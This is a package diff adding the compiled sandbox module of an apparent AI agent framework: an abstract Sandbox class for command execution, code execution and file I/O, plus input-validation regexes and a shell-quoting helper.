+     */
+    abstract readFile(path: string): Promise<Uint8Array>;
+    /**
+     * Write raw bytes to a file in the sandbox filesystem.
+     *
+     * Implementations should create parent directories if they do not exist.
+     * Use {@link writeText} for a convenience wrapper that encodes a string.
+     *
+     * @param path - Path to the file to write.
+     * @param content - The content to write.
+     */
+    abstract writeFile(path: string, content: Uint8Array): Promise<void>;
+    /**
+     * Remove a file from the sandbox filesystem.
+     *
+     * @param path - Path to the file to remove.
+     * @throws Error if the file does not exist.
+     */
+    abstract removeFile(path: string): Promise<void>;
+    /**
+     * List files in a sandbox directory.
+     *
+     * Returns {@link FileInfo} entries with name, isDir, and size metadata.
+     * Fields `isDir` and `size` may be `undefined` if the backend cannot
+     * determine them.
+     *
+     * @param path - Path to the directory to list.
+     * @returns Array of FileInfo entries for the directory contents.
+     * @throws Error if the directory does not exist.
+     */
+    abstract listFiles(path: string): Promise<FileInfo[]>;
+    /**
+     * Prefix applied to tool names when registered on an agent (e.g. `'sandbox'` produces
+     * `sandbox_bash`). Set to `undefined` to disable prefixing. Defaults to `'sandbox'`.
+     */
+    toolPrefix: string | undefined;
+    /**
+     * Tools this sandbox vends to an agent, registered during `Agent.initialize()`.
+     * A tool is skipped if the user already registered one with the same name.
+     * Override to provide them.
+     */
+    getTools(): Tool[];
+    /**
+     * Execute a shell command and return the result.
+     *
+     * Consumes {@link executeStreaming} and returns the final {@link ExecutionResult}.
+     * Use `executeStreaming` when you need to process output as it arrives.
+     *
+     * @param command - The shell command to execute.
+     * @param options - Execution options.
+     * @returns The execution result with exit code and output.
+     */
+    execute(command: string, options?: ExecuteOptions): Promise<ExecutionResult>;
+    /**
+     * Execute source code and return the result.
+     *
+     * Consumes {@link executeCodeStreaming} and returns the final {@link ExecutionResult}.
+     * Use `executeCodeStreaming` when you need to process output as it arrives.
+     *
+     * @param code - The source code to execute.
+     * @param language - The interpreter to use.
+     * @param options - Execution options.
+     * @returns The execution result with exit code and output.
+     */
+    executeCode(code: string, language: string, options?: ExecuteOptions): Promise<ExecutionResult>;
+    /**
+     * Read a text file from the sandbox filesystem.
+     *
+     * Convenience wrapper over {@link readFile} that decodes bytes as UTF-8.
+     * For other encodings, call `readFile` and decode manually.
+     *
+     * @param path - Path to the file to read.
+     * @returns The file contents decoded as a UTF-8 string.
+     */
+    readText(path: string): Promise<string>;
+    /**
+     * Write a text file to the sandbox filesystem.
+     *
+     * Convenience wrapper over {@link writeFile} that encodes a string as UTF-8.
+     * For other encodings, encode manually and call `writeFile`.
+     *
+     * @param path - Path to the file to write.
+     * @param content - The text content to write.
+     */
+    writeText(path: string, content: string): Promise<void>;
+}
+//# sourceMappingURL=base.d.ts.map

package/dist/src/sandbox/base.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"base.d.ts","sourceRoot":"","sources":["../../../src/sandbox/base.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,QAAQ,EAAE,WAAW,EAAE,MAAM,YAAY,CAAA;AACxE,OAAO,KAAK,EAAE,IAAI,EAAE,MAAM,kBAAkB,CAAA;AAE5C;;GAEG;AACH,MAAM,WAAW,cAAc;IAC7B,uEAAuE;IACvE,OAAO,CAAC,EAAE,MAAM,GAAG,SAAS,CAAA;IAC5B,kFAAkF;IAClF,GAAG,CAAC,EAAE,MAAM,GAAG,SAAS,CAAA;IACxB,qFAAqF;IACrF,MAAM,CAAC,EAAE,WAAW,GAAG,SAAS,CAAA;IAChC;;;;OAIG;IACH,GAAG,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,GAAG,SAAS,CAAA;CACzC;AAED;;;;;;;;;;;GAWG;AACH,8BAAsB,OAAO;IAC3B;;;;;;;;;;OAUG;IACH,QAAQ,CAAC,gBAAgB,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,aAAa,CAAC,WAAW,GAAG,eAAe,CAAC;IAElH;;;;;;;OAOG;IACH,QAAQ,CAAC,oBAAoB,CAC3B,IAAI,EAAE,MAAM,EACZ,QAAQ,EAAE,MAAM,EAChB,OAAO,CAAC,EAAE,cAAc,GACvB,aAAa,CAAC,WAAW,GAAG,eAAe,CAAC;IAE/C;;;;;;;;;OASG;IACH,QAAQ,CAAC,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAEpD;;;;;;;;OAQG;IACH,QAAQ,CAAC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,UAAU,GAAG,OAAO,CAAC,IAAI,CAAC;IAEpE;;;;;OAKG;IACH,QAAQ,CAAC,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAEhD;;;;;;;;;;OAUG;IACH,QAAQ,CAAC,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,QAAQ,EAAE,CAAC;IAErD;;;OAGG;IACH,UAAU,EAAE,MAAM,GAAG,SAAS,CAAY;IAE1C;;;;OAIG;IACH,QAAQ,IAAI,IAAI,EAAE;IAMlB;;;;;;;;;OASG;IACG,OAAO,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,eAAe,CAAC;IASlF;;;;;;;;;;OAUG;IACG,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,eAAe,CAAC;IASrG;;;;;;;;OAQG;IACG,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC;IAI7C;;;;;;;;OAQG;IACG,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAG9D"}

package/dist/src/sandbox/base.js

@@ -0,0 +1,97 @@
+/**
+ * Base sandbox interface.
+ *
+ * Defines the abstract {@link Sandbox} class that all sandbox implementations
+ * must extend. The class provides six abstract operations (command execution,
+ * code execution, and file I/O) and convenience wrappers for common patterns.
+ */
+/**
+ * Abstract execution environment.
+ *
+ * A Sandbox provides the runtime context where tools execute code,
+ * run commands, and interact with a filesystem. Multiple tools share
+ * the same Sandbox instance, giving them a common working directory
+ * and filesystem.
+ *
+ * Streaming methods (`executeStreaming`, `executeCodeStreaming`) are the abstract primitives.
+ * Non-streaming convenience methods (`execute`, `executeCode`) consume
+ * the stream and return the final result.
+ */
+export class Sandbox {
+    /**
+     * Prefix applied to tool names when registered on an agent (e.g. `'sandbox'` produces
+     * `sandbox_bash`). Set to `undefined` to disable prefixing. Defaults to `'sandbox'`.
+     */
+    toolPrefix = 'sandbox';
+    /**
+     * Tools this sandbox vends to an agent, registered during `Agent.initialize()`.
+     * A tool is skipped if the user already registered one with the same name.
+     * Override to provide them.
+     */
+    getTools() {
+        return [];
+    }
+    // ---- Non-streaming convenience methods ----
+    /**
+     * Execute a shell command and return the result.
+     *
+     * Consumes {@link executeStreaming} and returns the final {@link ExecutionResult}.
+     * Use `executeStreaming` when you need to process output as it arrives.
+     *
+     * @param command - The shell command to execute.
+     * @param options - Execution options.
+     * @returns The execution result with exit code and output.
+     */
+    async execute(command, options) {
+        for await (const chunk of this.executeStreaming(command, options)) {
+            if (chunk.type === 'executionResult') {
+                return chunk;
+            }
+        }
+        throw new Error('executeStreaming() did not yield an ExecutionResult');
+    }
+    /**
+     * Execute source code and return the result.
+     *
+     * Consumes {@link executeCodeStreaming} and returns the final {@link ExecutionResult}.
+     * Use `executeCodeStreaming` when you need to process output as it arrives.
+     *
+     * @param code - The source code to execute.
+     * @param language - The interpreter to use.
+     * @param options - Execution options.
+     * @returns The execution result with exit code and output.
+     */
+    async executeCode(code, language, options) {
+        for await (const chunk of this.executeCodeStreaming(code, language, options)) {
+            if (chunk.type === 'executionResult') {
+                return chunk;
+            }
+        }
+        throw new Error('executeCodeStreaming() did not yield an ExecutionResult');
+    }
+    /**
+     * Read a text file from the sandbox filesystem.
+     *
+     * Convenience wrapper over {@link readFile} that decodes bytes as UTF-8.
+     * For other encodings, call `readFile` and decode manually.
+     *
+     * @param path - Path to the file to read.
+     * @returns The file contents decoded as a UTF-8 string.
+     */
+    async readText(path) {
+        return new TextDecoder().decode(await this.readFile(path));
+    }
+    /**
+     * Write a text file to the sandbox filesystem.
+     *
+     * Convenience wrapper over {@link writeFile} that encodes a string as UTF-8.
+     * For other encodings, encode manually and call `writeFile`.
+     *
+     * @param path - Path to the file to write.
+     * @param content - The text content to write.
+     */
+    async writeText(path, content) {
+        await this.writeFile(path, new TextEncoder().encode(content));
+    }
+}
+//# sourceMappingURL=base.js.map

package/dist/src/sandbox/base.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"base.js","sourceRoot":"","sources":["../../../src/sandbox/base.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAuBH;;;;;;;;;;;GAWG;AACH,MAAM,OAAgB,OAAO;IAwE3B;;;OAGG;IACH,UAAU,GAAuB,SAAS,CAAA;IAE1C;;;;OAIG;IACH,QAAQ;QACN,OAAO,EAAE,CAAA;IACX,CAAC;IAED,8CAA8C;IAE9C;;;;;;;;;OASG;IACH,KAAK,CAAC,OAAO,CAAC,OAAe,EAAE,OAAwB;QACrD,IAAI,KAAK,EAAE,MAAM,KAAK,IAAI,IAAI,CAAC,gBAAgB,CAAC,OAAO,EAAE,OAAO,CAAC,EAAE,CAAC;YAClE,IAAI,KAAK,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;gBACrC,OAAO,KAAK,CAAA;YACd,CAAC;QACH,CAAC;QACD,MAAM,IAAI,KAAK,CAAC,qDAAqD,CAAC,CAAA;IACxE,CAAC;IAED;;;;;;;;;;OAUG;IACH,KAAK,CAAC,WAAW,CAAC,IAAY,EAAE,QAAgB,EAAE,OAAwB;QACxE,IAAI,KAAK,EAAE,MAAM,KAAK,IAAI,IAAI,CAAC,oBAAoB,CAAC,IAAI,EAAE,QAAQ,EAAE,OAAO,CAAC,EAAE,CAAC;YAC7E,IAAI,KAAK,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;gBACrC,OAAO,KAAK,CAAA;YACd,CAAC;QACH,CAAC;QACD,MAAM,IAAI,KAAK,CAAC,yDAAyD,CAAC,CAAA;IAC5E,CAAC;IAED;;;;;;;;OAQG;IACH,KAAK,CAAC,QAAQ,CAAC,IAAY;QACzB,OAAO,IAAI,WAAW,EAAE,CAAC,MAAM,CAAC,MAAM,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAA;IAC5D,CAAC;IAED;;;;;;;;OAQG;IACH,KAAK,CAAC,SAAS,CAAC,IAAY,EAAE,OAAe;QAC3C,MAAM,IAAI,CAAC,SAAS,CAAC,IAAI,EAAE,IAAI,WAAW,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAA;IAC/D,CAAC;CACF"}

package/dist/src/sandbox/constants.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Regex pattern for validating language/interpreter names.
+ * Allows alphanumeric characters, dots, hyphens, and underscores.
+ * Rejects path separators, spaces, and shell metacharacters to prevent injection.
+ */
+export declare const LANGUAGE_PATTERN: RegExp;
+/**
+ * Regex pattern for validating environment variable names: a leading letter or
+ * underscore, followed by letters, digits, or underscores (valid POSIX names).
+ * Names outside this set are rejected to prevent shell-syntax injection where a
+ * key is interpolated into a command, and to fail with a clear error otherwise.
+ */
+export declare const ENV_KEY_PATTERN: RegExp;
+/**
+ * Shell-escape a string for safe inclusion in a shell command.
+ *
+ * Wraps the value in single quotes and escapes any embedded single quotes
+ * using the '\'' pattern. Single quotes disable all shell expansion
+ * (variables, backticks, globbing), making this safe against injection.
+ *
+ * @param value - The string to escape.
+ * @returns The shell-escaped string wrapped in single quotes.
+ */
+export declare function shellQuote(value: string): string;
+//# sourceMappingURL=constants.d.ts.map

package/dist/src/sandbox/constants.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"constants.d.ts","sourceRoot":"","sources":["../../../src/sandbox/constants.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,eAAO,MAAM,gBAAgB,QAAsB,CAAA;AAEnD;;;;;GAKG;AACH,eAAO,MAAM,eAAe,QAA6B,CAAA;AAEzD;;;;;;;;;GASG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAEhD"}

package/dist/src/sandbox/constants.js

@@ -0,0 +1,27 @@
+/**
+ * Regex pattern for validating language/interpreter names.
+ * Allows alphanumeric characters, dots, hyphens, and underscores.
+ * Rejects path separators, spaces, and shell metacharacters to prevent injection.
+ */
+export const LANGUAGE_PATTERN = /^[a-zA-Z0-9._-]+$/;
+/**
+ * Regex pattern for validating environment variable names: a leading letter or
+ * underscore, followed by letters, digits, or underscores (valid POSIX names).
+ * Names outside this set are rejected to prevent shell-syntax injection where a
+ * key is interpolated into a command, and to fail with a clear error otherwise.
+ */
+export const ENV_KEY_PATTERN = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
+/**
+ * Shell-escape a string for safe inclusion in a shell command.
+ *
+ * Wraps the value in single quotes and escapes any embedded single quotes
+ * using the '\'' pattern. Single quotes disable all shell expansion
+ * (variables, backticks, globbing), making this safe against injection.
+ *
+ * @param value - The string to escape.
+ * @returns The shell-escaped string wrapped in single quotes.
+ */
+export function shellQuote(value) {
+    return "'" + value.replace(/'/g, "'\\''") + "'";
+}
+//# sourceMappingURL=constants.js.map

package/dist/src/sandbox/constants.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"constants.js","sourceRoot":"","sources":["../../../src/sandbox/constants.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,mBAAmB,CAAA;AAEnD;;;;;GAKG;AACH,MAAM,CAAC,MAAM,eAAe,GAAG,0BAA0B,CAAA;AAEzD;;;;;;;;;GASG;AACH,MAAM,UAAU,UAAU,CAAC,KAAa;IACtC,OAAO,GAAG,GAAG,KAAK,CAAC,OAAO,CAAC,IAAI,EAAE,OAAO,CAAC,GAAG,GAAG,CAAA;AACjD,CAAC"}

package/dist/src/sandbox/default.d.ts

@@ -0,0 +1,3 @@
+import type { Sandbox } from './base.js';
+export declare const defaultSandbox: import("../default-slot.js").DefaultSlot<Sandbox>;
+//# sourceMappingURL=default.d.ts.map

package/dist/src/sandbox/default.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"default.d.ts","sourceRoot":"","sources":["../../../src/sandbox/default.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,WAAW,CAAA;AAGxC,eAAO,MAAM,cAAc,mDAE1B,CAAA"}

package/dist/src/sandbox/default.js

@@ -0,0 +1,3 @@
+import { createDefaultSlot } from '../default-slot.js';
+export const defaultSandbox = createDefaultSlot('No Sandbox configured. Pass a `sandbox` to the Agent to use sandbox features in this environment.');
+//# sourceMappingURL=default.js.map

package/dist/src/sandbox/default.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"default.js","sourceRoot":"","sources":["../../../src/sandbox/default.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,iBAAiB,EAAE,MAAM,oBAAoB,CAAA;AAEtD,MAAM,CAAC,MAAM,cAAc,GAAG,iBAAiB,CAC7C,mGAAmG,CACpG,CAAA"}